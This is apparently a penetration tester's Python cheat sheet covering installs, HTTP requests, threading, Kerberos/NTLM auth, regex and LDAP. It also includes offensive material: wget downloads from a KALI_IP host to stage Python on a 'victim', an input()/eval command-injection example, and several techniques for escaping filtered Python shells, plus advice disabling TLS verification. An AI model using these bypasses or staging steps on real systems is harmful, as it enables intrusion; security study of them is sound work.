Python Cheat Sheet

Cheat sheet and tricks for the Python programming language.

Use Bandit for static code analysis (SAST) of Python applications.

See Flask for Python web application framework.
For Python Pickle, see Object Injection / Insecure Deserialization.

IDE

Online IDE

Visual Studio Code

To increase the output history, open File-Preferences->Settings and search for:

terminal.integrated.scrollback

Installation

Install Python on Windows

NOT TESTED

python-3.6.0.exe /quiet InstallAllUsers=1 PrependPath=1 Include_test=0

Upload Python on victim (Linux)

Need the binary AND the zip file (do not uncompress).

https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/python2.7
https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/python2.7.zip
wget http://KALI_IP/python2.7
wget http://KALI_IP/python2.7.zip
export PYTHONPATH=/home/<username>/python2.7.zip
export PYTHONHOME=/home/<username>/python2.7.zip

chmod u+x python2.7
./python2.7
./python2.7 -m SimpleHTTPServer 80

Install packages

pip install <package name>

For current user only

pip install --user <package name>

CERTIFICATE_VERIFY_FAILED

pip --cert "C:\Users\<path>\certificate.pem" --proxy http://proxy.example.com:8080 install <package name>
pip --cert "C:\Users\<path>\certificate.pem" --proxy http://proxy.example.com:8080 install --trusted-host pypi.org --trusted-host files.pythonhosted.org <package name>

List installed packages

pip list

Fix SSL certificate errors within Python scripts

export PYTHONHTTPSVERIFY=0 

Virtual environments

Create a virtual environment

python3 -m venv /home/kali/ROADtools/.venv

Install in the virtual environment

/home/kali/ROADtools/.venv/bin/pip install setuptools

Execute from the virtual environment

/home/kali/ROADtools/.venv/bin/roadtx

Loops

For Loop

for i in range(8):
   for j in range(8):
     print('# ', end='')
   print('')

HTTP Requests

See Official Documentation.

Follows redirects!

import requests

# Remove warnings: InsecureRequestWarning: Unverified HTTPS request
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

# Intercept requests using Burp :)
#proxies = None
proxies = {
  'http': 'http://127.0.0.1:8080',
  'https': 'http://127.0.0.1:8080'
}

headers = {
  'Custom-header1': 'value1',
  'Custom-header2': 'value2',
  'Content-Type': 'application/json'
}

url = "https://url:port/api/apiname"
payload="{ \"key1\" : \"value1\",\"key2\":\"value2\"}"

response = requests.request("POST", url, headers=headers, data=payload, verify=False, proxies=proxies, cert=('/path/certif.cer', '/path/certif.key'))

print("RESPONSE")
print(response.headers)
print(response.cookies)
#print(response.cookies['sessionid'])
print(response.text)

if "some string" in response.text:
    print("string found in response")
else:
    print("string not found in response")

Using threads

import requests
from concurrent.futures import ThreadPoolExecutor, as_completed

def send_request(url):
    response = requests.get(url)
    return response.status_code

urls = ['http://example.com' for _ in range(100)]  # Replace with your URLs

# Use ThreadPoolExecutor to send requests in parallel
with ThreadPoolExecutor(max_workers=10) as executor:
    # Submit each URL to the executor
    futures = []
    for url in urls:
        futures.append(executor.submit(send_request, url))
    
    # Iterate over completed futures to get results
    for future in as_completed(futures):
        try:
            status_code = future.result()
            print(f"Response from {future}: {status_code}")
        except Exception as e:
            print(f"Request for {future} raised an exception: {e}")
import threading
import time

def task(name, duration, results, index):
    try:
        for i in range(5):
            print(f"{name} - Iteration {i + 1}")
            time.sleep(duration)  # Simulate task taking time based on the argument
        
        # After completing the task, return True for success
        results[index] = True
    except Exception as e:
        # If an error occurs, return False
        print(f"{name} failed: {e}")
        results[index] = False

# List to hold the return values from each thread
results = [None, None]  # Two elements for two threads

# Create two threads that run the same task with different arguments
thread1 = threading.Thread(target=task, args=("Task 1", 1, results, 0))  # Task 1
thread2 = threading.Thread(target=task, args=("Task 2", 1.5, results, 1))  # Task 2

# Start both threads
thread1.start()
thread2.start()

# Wait for both threads to complete
thread1.join()
thread2.join()

# Check the return values (True for success, False for failure)
print(f"Task 1 success: {results[0]}")
print(f"Task 2 success: {results[1]}")

print("Both tasks have completed.")

Using sessions

import requests

# Remove warnings: InsecureRequestWarning: Unverified HTTPS request
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

url = "https://httpbin.org/get"

# Intercept requests using Burp :)
proxies = None
#proxies = {
#  'http': 'http://127.0.0.1:8080',
#  'https': 'http://127.0.0.1:8080'
#}

headers = {
  'Custom-header1': 'value1',
  'Custom-header2': 'value2',
  'Content-Type': 'application/json'
}

# Send an HTTP request
def send_request(url, method="GET", payload=""):
    if method == "POST":   
        return session.post(url, headers=headers, proxies = proxies, verify=False, data=payload)
    else:
        return session.get(url, headers = headers, proxies = proxies, verify=False)

response = send_request(url)
print(response.text)

#payload="{ \"key1\" : \"value1\",\"key2\":\"value2\"}"
#response = send_request(url, "POST", payload)
#print(response.text)

Handling Kerberos and NTLM authentication

Microsoft IIS can response with HTTP 401 Unauthorized and the WWW-Authenticate header (Windows SSPI):

  • WWW-Authenticate: Basic: Authorization: Basic + token – Use for basic authentication
  • WWW-Authenticate: NTLM: Authorization: NTLM + token (2 challenges)
  • WWW-Authenticate: Negotiate: Authorization: Negotiate + token – used for Kerberos authentication
import requests
from requests_negotiate_sspi import HttpNegotiateAuth

# Remove warnings: InsecureRequestWarning: Unverified HTTPS request
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

# Replace with the resource URL you want to access
url = "https://domain/some-resource"

# Make the request with Negotiate (supports Kerberos and NTLM)
# Some NTLM auth can fail if the same session is reused for many URLs
# due to how NTLM handles state. Create a new session for each request.
with requests.Session() as session:
    session.auth = HttpNegotiateAuth()
    response = session.get(url, verify=False)

# Check the response status
if response.status_code == 200:
    print("Access successful!")
    print("Response content:", response.text)
else:
    print("Failed to access resource. Status code:", response.status_code)
import requests
from requests_ntlm import HttpNtlmAuth
import getpass

# Remove warnings: InsecureRequestWarning: Unverified HTTPS request
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

# Replace with the resource URL you want to access
url = "https://domain/some-resource"

# Ask for user input
email = input("Enter your email: ")
password = getpass.getpass("Enter your password: ")

# Make the request using NTLM authentication
response = requests.get(url, verify=False, auth=HttpNtlmAuth(email, password))

Extract values from JSON response

key1=response.json()['key1']
key1=response.json()['key2']
return key1, key2 # returns a tuple, results[0], results[1], ...
# {"title":"My first book","ISBN":"...","authors":[{"firstname":"Bob", "lastname":"Foo"}, {"firstname":"Alice", "lastname":"Smith"}]}
for author in response.json()['authors']:
    for field in author:
        print(field + ': ' + author[field])

In a function

def send_request(url):
    print(url)
    ...

send_request('https://example.com')
send_request('https://example.com/whatever')

Regular expressions

import re

mystring = 'This is my super long string.'

x = re.search('my.*long', mystring)
if x:
    extracted_string=str(x.group()).split(" ")[-2]
    print(extracted_string)
else:
    print('ERROR: string could not be extracted.')

List of special characters, escaped for regex use

specials = ['\\.','\\^','\\$','\\*','\\+','\\?','\\(','\\)','\\[','\\]','\\{','\\}','\\|','\\\\','\\-','\\~','\\:','_','@',',','&','!','"',"'",' ']

Dates

import datetime
print('Date: ' + str(datetime.datetime.now()))

“Year”-“Month”-“Day”.”Hour”h”Minute”

See Python strftime cheatsheet (strftime.org).

now = datetime.datetime.now().strftime("%Y-%m-%d.%Hh%M")
print(now)
import time
now = time.time()
print(time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(now)) + ' (epoch: ' + str(now) + ')')

Encoding

The utf-8 encoding/decoding is to remove the “b” added in front of base 64 encoded strings

import base64
print(base64.b64encode(bytes('This is the string to encode', 'utf-8')).decode('utf-8'))

Data Masking

def mask(data, chars_to_keep = 4, mask_left = True):
    datalen = len(data)
    
    if mask_left:
        # Mask the left part, e.g. mask("12345", 2) = "***45"
        masked = "*" * (datalen - chars_to_keep) + data[0 - chars_to_keep:]
    else:
        # Mask the right part, e.g. mask("12345", 2, mask_left = False) = "12***"
        masked = data[0:chars_to_keep] + "*" * (datalen - chars_to_keep)

    return masked
print(mask("This is a test"))                     # **********test
print(mask("This is a test", 6))                  # ********a test
print(mask("This is a test", 6, mask_left=False)) # This i********

System calls

#!/usr/bin/python
import sys                  # Access command-line arguments
import os                   # Run os commands

# If the wrong number of arguments was provided
if len(sys.argv) != 2:
    print("Usage:")
    print("python ping_sweep.py IP")
    print("Example:")
    print("python ping_sweep.py 10.11.1.0")
    print("python ping_sweep.py 10.0.2.0")

# If the right number of argument was provided
else:
    IP_PREFIX = str(sys.argv[1]).split(".")[0] + "." + str(sys.argv[1]).split(".")[1] + "." + str(sys.argv[1]).split(".")[2] + "."

    for i in range(1, 255):
        os.system('ping -c 1 ' + IP_PREFIX + str(i) + ' | grep "bytes from" | cut -d " " -f 4 | cut -d ":" -f 1 &')

Reading files

#!/usr/bin/python

try:
    file1 = open('file.txt', 'r')

    for line in file1:
        print(line.strip('\n'))

    file1.close
except IOError:
    print("Could not read file.")

Exceptions

try:
    a = 1/0
except Exception as e:
    print(e)

Read password (no echo)

import getpass
passwd = getpass.getpass()

LDAP

#!/usr/bin/python3
#------------------------------------------------------------------------------
# Author      : Lisandre.com
# Prereq      : Python ldap3, https://ldap3.readthedocs.io/en/latest/
#               pip3 install --user ldap3
#------------------------------------------------------------------------------
from ldap3 import Server, Connection, ALL, NTLM

hostname = 'ldap://DC01.example.com'
username = 'EXAMPLE\\user01'
password = 'MyPreciousPassword'

server = Server(hostname, get_info=ALL)

# Open the connection
try:
    conn = Connection(server, user=username, password=password, auto_bind=True)
    print('INFO: Connected as ' + conn.extend.standard.who_am_i())

except Exception as e:
    print('ERROR: ' + e)

Python input function vulnerability

The input function in Python uses the eval function

#!/usr/bin/python
e=input("Enter something: ")
print e

Enter 1+2 and it will display 3...
Enter "a" and will display a. Enter a and it will give an error because a is not defined (interpreted as a variable)

echo '__import("os")__.system("uname -a") ' | python myscript.py

# Example
__import__("os").system("/bin/cat /somepath/somefile > /tmp/test.txt")
cat /tmp/test.txt

Escaping Python shells

Bypass “Python readfunc() that filters dangerous words”.

# https://gist.github.com/MarkBaggett/dd440362f8a443d644b913acadff9499

# Usually "import", "eval", "compile" and "exec" are tightly controlled
# See which ones are controlled
import
eval
exec
compile

### Solution 1 - If import function is available, but some modules were overwritten in memory
# For example, "os" module was rewriten to "stop hacking!"
# Reload the "os" module
import importlib
importlib.reload(os)
os.system("id")

### Solution 2 - If exec function is available, simply break filtered words
exec("imp" + "ort os")
os.system("id")

### Solution 3 - If eval function is available, simply break filtered words
# If __import__("os") is forbidden
os = eval('__im' + 'port__("os")')
os.system("id")

### Solution 4 - If compile function is available
code = compile("im" + "port os", "", "single")

def a():
    return

a.__code__ = code
a()
os.system("id")

### Solution 5 - If import, exec, eval, compile functions are blocked
# Create a function in memory on one system and move it to restricted system
# Go to another machine that you control, in a terminal window:
python3

import sys
def makeobject(afunction):
   print("Generating a function for version {}.{} (same version as this machine)".format(sys.version_info.major, sys.version_info.minor))
   newstr = ""
   newstr += "def a():\n"
   newstr += "   return\n\n"
   if sys.version_info.major == 2:
       co = afunction.__code__
       if sys.version_info.minor not in [5,6,7]:
           print("This code has not been tested on this version of python.  It may not work.")
       newstr += "a.__code__ = type(a.__code__)({0},{1},{2},{3},'{4}',{5},{6},{7},'{8}','{9}',{10},'{11}')".format( co.co_argcount, co.co_nlocals, co.co_stacksize, co.co_flags, co.co_code.encode("string_escape"),co.co_consts, co.co_names, co.co_varnames, co.co_filename, str(co.co_name), co.co_firstlineno, co.co_lnotab.encode("string_escape"))
   elif sys.version_info.major == 3:
       co = afunction.__code__
       if sys.version_info.minor not in [5]:
           print("This code has not been tested on this version of python.  It may not work.")
       newstr += "a.__code__ = type(a.__code__)({0},{1},{2},{3},{4},{5},{6},{7},{8},'{9}','{10}',{11},{12})".format( co.co_argcount, co.co_kwonlyargcount, co.co_nlocals, co.co_stacksize, co.co_flags, co.co_code,co.co_consts, co.co_names, co.co_varnames, co.co_filename, str(co.co_name), co.co_firstlineno, co.co_lnotab)
   else:
       print("This version of python is not tested and may not work")
   print(newstr)

# Create my function
def bypass():
    import os
    print("BOOM")
    print(os.system("id"))

# Take it out of memory on my system to other restricted system
makeobject(bypass)

# Take the output and copy it in the restricted shell (might need to break filter words in it)
a()